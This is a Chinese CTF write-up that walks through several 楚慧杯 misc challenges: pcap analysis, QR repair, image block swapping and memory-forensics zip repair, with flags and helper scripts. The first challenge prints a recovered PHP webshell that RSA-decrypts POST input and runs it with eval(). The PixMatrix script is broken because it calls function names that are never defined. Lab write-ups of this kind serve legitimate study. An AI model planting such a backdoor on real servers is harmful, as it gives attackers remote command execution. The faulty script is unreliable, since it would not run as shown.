楚慧杯Misc—复现
gza_CrackerCrack_me
追踪tcp流量
找到字典
保存字典,上流量一把梭
base64解密
特殊流量2
一把梭出个www.zip
打开,是个RSA
<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCfhiyoPdM6svJZ+QlYywklwVcx
PkExXQDSdke4BVYMX8Hfohbssy4G7Cc3HwLvzZVDaeyTDaw+l8qILYezVtxmUePQ
5qKi7yN6zGVMUpQsV6kFs0GQVkrJWWcNh7nF6uJxuV+re4j+t2tKF3NhnyOtbd1J
RAcfJSQCvaw6O8uq3wIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
foreach($_POST as $k => $v){
if (openssl_public_decrypt(base64_decode($v), $de, $pk)) {
$_POST[$k]=$de;
}
}
eval($cmd);
公钥
回到一把梭,发现ZmxhZ的flag头
直接用内置的base64解密
flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.126.139 netmask 255.255.255.0 broadcast 192.168.126.255
inet6 fe80::2440:7aed:48c2:9f1c prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:24:00:8d txqueuelen 1000 (Ethernet)
RX packets 152907 bytes 33360002 (31.8 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 204935 bytes 100905582 (96.2 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1860 bytes 545117 (532.3 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1860 bytes 545117 (532.3 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
0fa99
/opt/lampp/htdocs/uploads
718a30
搞公钥
替换公钥
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCfhiyoPdM6svJZ+QlYywklwVcxPkExXQDSdke4
BVYMX8Hfohbssy4G7Cc3HwLvzZVDaeyTDaw+l8qILYezVtxmUePQ5qKi7yN6zGVMUpQsV6kFs0GQV
krJWWcNh7nF6uJxuV+re4j+t2tKF3NhnyOtbd1JRAcfJSQCvaw6O8uq3wIDAQAB
再一把梭
发现U2,疑似AES
脚本爆破
import itertools
input_string = "xx34d619x1brxgd9mgd4xzxwxytv669w"
replace_chars = 'i7x'
indexes_of_x = [i for i, char in enumerate(input_string) if char == 'x']
replacement_combinations = itertools.product(
replace_chars, repeat=len(indexes_of_x))
with open('a.txt', 'w') as output_file:
for combination in replacement_combinations:
# Apply the combination to the original string
temp_list = list(input_string)
for idx, replacement in zip(indexes_of_x, combination):
temp_list[idx] = replacement
# Generate the final string
output_string = ''.join(temp_list)
# Write to the file
output_file.write(output_string + '\n')
print("All possible results have been written to a.txt")
拿字典用B神工具一把梭
得到 i734d619i1brigd9mgd4xz7w7ytv669w 和DeltaAlphaSierraCharlieTangoFoxtrotThreeFoxtrotDeltaThreeFourBravoFiveNineDash FourEchoNineDeltaDashFourThreeNineZeroDashNineTwoSevenBravoDashOneThree FourSixDeltaFiveThreeSixFourDeltaNineNine
拿去解AES得到flag 3fd34b59-4e9d-4390-927b-1346d5364d99
不良劫
对图片进行foremost发现⼆维码,但被污染
方法一:ps曲线处理3到4次,换上左上角的定位符,可扫
方法二:stegsolve先处理一下,然后window画图手动处理
另一半盲水印
拼接得DASCTF{014c6e74-0c4a-48fa-8b33-ced16f847e39}
PixMatrix
(flag.jpg)T => (PixMatrix.jpg)
flag.jpg PixMatrix.jpg
1 1 1 1 2 2 2 2 1 1 1 1 3 3 3 3
1 1 1 1 2 2 2 2 1 1 1 1 3 3 3 3
1 1 1 1 2 2 2 2 1 1 1 1 3 3 3 3
1 1 1 1 2 2 2 2 1 1 1 1 3 3 3 3
3 3 3 3 4 4 4 4 2 2 2 2 4 4 4 4
3 3 3 3 4 4 4 4 2 2 2 2 4 4 4 4
3 3 3 3 4 4 4 4 2 2 2 2 4 4 4 4
3 3 3 3 4 4 4 4 2 2 2 2 4 4 4 4
这⾥进行了⼀个8x8矩阵的转置操作,分析图片大小512x72可知,图片可以被分为8x8⼀组的矩阵进行置换
from PIL import Image
def divide(image_route):
picture = Image.open(image_route)
horizontal_span, vertical_span = picture.size
# 初始化⼀个列表,⽤于存储所有的 8x8 块
tiles = []
# 遍历图⽚,按 8x8 的块分割
for y_coordinate in range(0, vertical_span, 8): # 按⾏遍历
for x_coordinate in range(0, horizontal_span, 8): # 按列遍历
# 裁剪当前的 8x8 块
tile = picture.crop((x_coordinate, y_coordinate, x_coordinate + 8,
y_coordinate + 8))
tiles.append(tile)
return tiles, picture.size
def separate(tile):
sub_tiles = [
tile.crop((0, 0, 4, 4)), # 左上
tile.crop((4, 0, 8, 4)), # 右上
tile.crop((0, 4, 4, 8)), # 左下
tile.crop((4, 4, 8, 8)) # 右下
]
return sub_tiles
def interchange(sub_tiles):
sub_tiles[1], sub_tiles[2] = sub_tiles[2], sub_tiles[1]
return sub_tiles
def combine(sub_tiles):
new_tile = Image.new("RGB", (8, 8))
new_tile.paste(sub_tiles[0], (0, 0)) # 左上
new_tile.paste(sub_tiles[1], (4, 0)) # 右上
new_tile.paste(sub_tiles[2], (0, 4)) # 左下
new_tile.paste(sub_tiles[3], (4, 4)) # 右下
return new_tile
def manipulate(image_route, output_route):
tiles, original_dimensions = divide_photo_into_8x8_tiles(image_route)
processed_tiles = []
for tile in tiles:
sub_tiles = separate_8x8_into_4x4(tile)
sub_tiles = interchange_upper_right_lower_left(sub_tiles)
new_tile = combine_4x4_into_8x8(sub_tiles)
processed_tiles.append(new_tile)
store_processed_image(processed_tiles, original_dimensions,
output_route)
def store(tiles, original_dimensions, output_route):
# 将处理后的块重新组合成图⽚
new_picture = Image.new("RGB", original_dimensions)
tile_counter = 0
for y_coordinate in range(0, original_dimensions[1], 8):
for x_coordinate in range(0, original_dimensions[0], 8):
new_picture.paste(tiles[tile_counter], (x_coordinate,
y_coordinate))
tile_counter += 1
# 保存结果
new_picture.save(output_route)
image = "PixMatrix.jpg"
output = "flag.jpg"
manipulate_image(image, output)
print(f"处理完成,结果已保存到 {output}")
马赛克
from(落雨师傅)
AXIOM,搜索flag,发现flag.zip
还发现了个password.txt和readme.txt
全部用MemprocFS提取⼀下
文件损毁了
找到打乱txt
直接打开打乱.txt,没东西,010打开之后才发现加密了。 010打开拿到这个
f = open('./flag.zip','rb').read()
n = open('./new.zip','wb')
L=len(f)
for i in range(int(L/10)):
n.write(f[5*i:5*i+5])
n.write(f[L-5*i-5:L-5*i])
脚本修复
def extract_flag_data(enc_file_path, dec_file_path):
with open(enc_file_path, 'rb') as encrypted_file:
encrypted_data = encrypted_file.read()
data_length = len(encrypted_data)
flag_bytes = bytearray(data_length)
for idx in range(data_length // 10):
start_flag_pos = 5 * idx
start_encrypted_pos = 10 * idx
flag_bytes[start_flag_pos:start_flag_pos + 5] =
encrypted_data[start_encrypted_pos:start_encrypted_pos + 5]
end_flag_start_pos = data_length - 5 * idx - 5
end_flag_end_pos = data_length - 5 * idx
flag_bytes[end_flag_start_pos:end_flag_end_pos] = encrypted_data[
start_encrypted_pos + 5:start_encrypted_pos + 10]
with open(dec_file_path, 'wb') as decrypted_file:
decrypted_file.write(flag_bytes)
print("output is here", dec_file_path)
enc_file_path = './flag.zip'
dec_file_path = './flag1.zip'
extract_flag_data(enc_file_path, dec_file_path)
修复成功 但是要密码
藏起来了?看看之前提取出来的password⽂件 发现密码被模糊了
用你强大的眼睛去瞪出来或者https://github.com/spipm/Depix这个工具去一下模糊
得到密码 ILIKEFORENSICS
解压后打开txt得到
REFTQ1RGe2RlYmVmMTBjLTA1YmItNGVhNy04ZDAxLWE1ZmRmMmEyNDZiN30-
楚慧杯Misc—复现的更多相关文章
- 百度杯 black_hole复现
在这次复现中,经历了太多挫折. 刚刚开始的时候本地调试 get不到shell,就很疑问,而且不会爆破,想学下怎么爆破出那个0x05, 后来问了位师傅 ,他说用retdl_solve 试试,我就跑去学了 ...
- 2021羊城杯比赛复现(Crypto)
bigrsa 题目: from Crypto.Util.number import * from flag import * n1 = 10383529640908175186077053551474 ...
- ISCC之misc复现-High起来!
题目是赛后经高人指点,跳过坑的,各位看官看看就好 文件下载下来是一张png图片,但是无法打开,估计要修复一下,文件头修复一下,png格式文件头89504EE7 打开是一张二维码,经过扫描后,得到一串中 ...
- 2021东华杯misc project
project 题目附件发现是工程文件,按日期排序只有一个新的exe文件,那考点肯定就在这了 编辑 运行exe生成了一个zip 编辑 打开解压缩的文件发现有三部分编码 base64 quote ...
- 津门杯WriteUP
最近很浮躁,好好学习 WEB power_cut 扫目录 index.php <?php class logger{ public $logFile; public $initMsg; publ ...
- CTF-i春秋网鼎杯第二场misc部分writeup
CTF-i春秋网鼎杯第二场misc部分writeup 套娃 下载下来是六张图片 直接看并没有什么信息 一个一个查看属性 没有找到有用信息 到winhexv里看一下 都是标准的png图片,而且没有fla ...
- CTF-i春秋网鼎杯第一场misc部分writeup
CTF-i春秋网鼎杯第一场misc部分writeup 最近因为工作原因报名了网鼎杯,被虐了几天后方知自己还是太年轻!分享一下自己的解题经验吧 minified 题目: 一张花屏,png的图片,老方法, ...
- “百度杯”CTF比赛 2017 二月场(Misc Web)
爆破-1: 打开链接,是502 我直接在后面加个变量传参数:?a=1 出了一段代码 var_dump()函数中,用了$$a,可能用了超全局变量GLOBALS 给hello参数传个GLOBALS 得到f ...
- 百度杯 十一月 的一道pwn题复现
拿到题后,就直接开鲁.. /ctf/pwn# checksec pwnme [*] '/ctf/pwn/pwnme' Arch: amd64--little RELRO: Full RELRO Sta ...
- [原题复现]百度杯CTF比赛 十月场 WEB EXEC(PHP弱类型)
简介 原题复现: 考察知识点:PHP弱类型. 线上平台:https://www.ichunqiu.com/battalion(i春秋 CTF平台) 过程 看源码发现这个 vim泄露 下方都试了 ...
随机推荐
- Flume - [01] 概述
一.什么是Flume Flume 是Cloudera提供的一个高可用,高可靠的,分布式的海量日志采集.聚合和传输的系统. Flume最主要的作用就是:实时读取服务器本地磁盘的数据,将数据写入HDFS. ...
- [WinUI 3] 模仿 Visual Studio 的 Docking 控件
WinUI 3 是什么? WinUI 3 是微软前几年推出的一款 UI 框架,它是 UWP 的升级版,支持 Win32 和 WinUI 3 混合开发.并且 WinUI 3 的设计风格更加现代化. 无论 ...
- verilator书写C++版模块testbench
默认顶层模型名称为top,环境名称为contextp const std::unique_ptr<VerilatedContext> contextp{new VerilatedConte ...
- 大模型基础补全计划(二)---词嵌入(word embedding)
PS:要转载请注明出处,本人版权所有. PS: 这个只是基于<我自己>的理解, 如果和你的原则及想法相冲突,请谅解,勿喷. 环境说明 无 前言 本文是这个系列第二篇,它们是: &l ...
- linux下npm安装的全局命令无法执行
npm install laravel-echo-server -g 安装了之后在其他目录无法执行,找不到命令,在windows下可以直接使用,在linux下需要配置下环境变量 npm prefix ...
- 通过C#转换图片到PDF文档
将图片(JPG.PNG)转换为PDF文件可以帮助我们更好地保存和分享图片.此外,PDF文件还具有强大的安全特性,将图片转换为PDF后,我们可以通过设置密码来文件内容不被泄露.本文将介绍如何将JPG/P ...
- C++基础学习--随记
博客地址:https://www.cnblogs.com/zylyehuo/ 参考"C++基础与深度解析" 一.预备知识 // c++常用工具 /usr/bin/time //查看 ...
- Git--命令常用
GITLab 命令 git remote add origin https://gitee.com/gtnotgod/Data-Quality-Management.git #增加了远程仓库 git ...
- 数据质量框架QUalitis浅尝使用
数据质量管理平台(微众银行)Qualitis+Linkis (一)Qualitis是一个数据质量管理系统,用于监控数据质量. 其功能包括: 数据质量模型定义 数据质量结果可视化 可监控 数据质量管理服 ...
- Oracle 修改SYS、system用户密码
by:授客 QQ:1033553122 概念 SYS用户是Oracle中权限最高的用户,而SYSTEM是一个用于数据库管理的用户.在数据库安装完之后,应立即修改SYS,SYSTEM这两个用户的密码 ...